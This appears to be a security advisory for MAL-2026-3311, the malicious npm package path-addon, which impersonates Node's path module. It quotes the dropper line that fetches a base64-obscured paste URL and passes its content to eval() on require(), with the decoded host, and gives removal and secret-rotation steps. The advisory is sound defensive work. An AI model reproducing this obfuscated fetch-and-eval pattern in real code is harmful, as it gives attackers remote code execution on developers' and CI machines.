# MAL-2026-3311: Malicious code in path-addon (npm)


- **Type:** Malicious package
- **Package:** `path-addon` (npm)
- **Published:** 1 May 2026
- **Also known as:** GHSA-hqv8-vf3j-m8q6

## What is MAL-2026-3311?

MAL-2026-3311 is a malicious package in path-addon, published on 1 May 2026. 

### Official description

path-addon impersonates the Node.js core `path` module (package name `path-addon`, README claims to be 'an exact copy of the NodeJS path module'). The body of path.js is the genuine Joyent path implementation, but a remote-code-execution dropper has been inserted: on require(), the module calls `fetch(atob("aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9SRlc2SQ=="))` — which decodes to https://www.jsonkeeper.com/b/RFW6I, an anonymous mutable JSON paste host — then reads the response's `content` field and passes it to `eval()`. The destination URL is base64-encoded specifically to evade casual review and string-based scanners. Any process that imports path-addon executes whatever JavaScript the attacker has placed at that paste URL at the moment of require(), with no integrity check, no pinning, and no version constraint. The combined shape (typosquat name + trojanized legitimate source + obfuscated fetch + eval of remote content at module load) is unambiguous attacker tooling.

The OpenSSF Package Analysis project identified 'path-addon' @ 1.0.4 (npm) as malicious.

It is considered malicious because:

- The package communicates with a domain associated with malicious activity.

- The package executes one or more commands associated with malicious behavior.

## What should I do about MAL-2026-3311?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-3311 is a malicious package: path-addon (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-3311/ (Markdown: https://insights.sbomify.com/MAL-2026-3311/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-3311

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-3311/
Summaries are generated and may contain mistakes; the official description above is the record.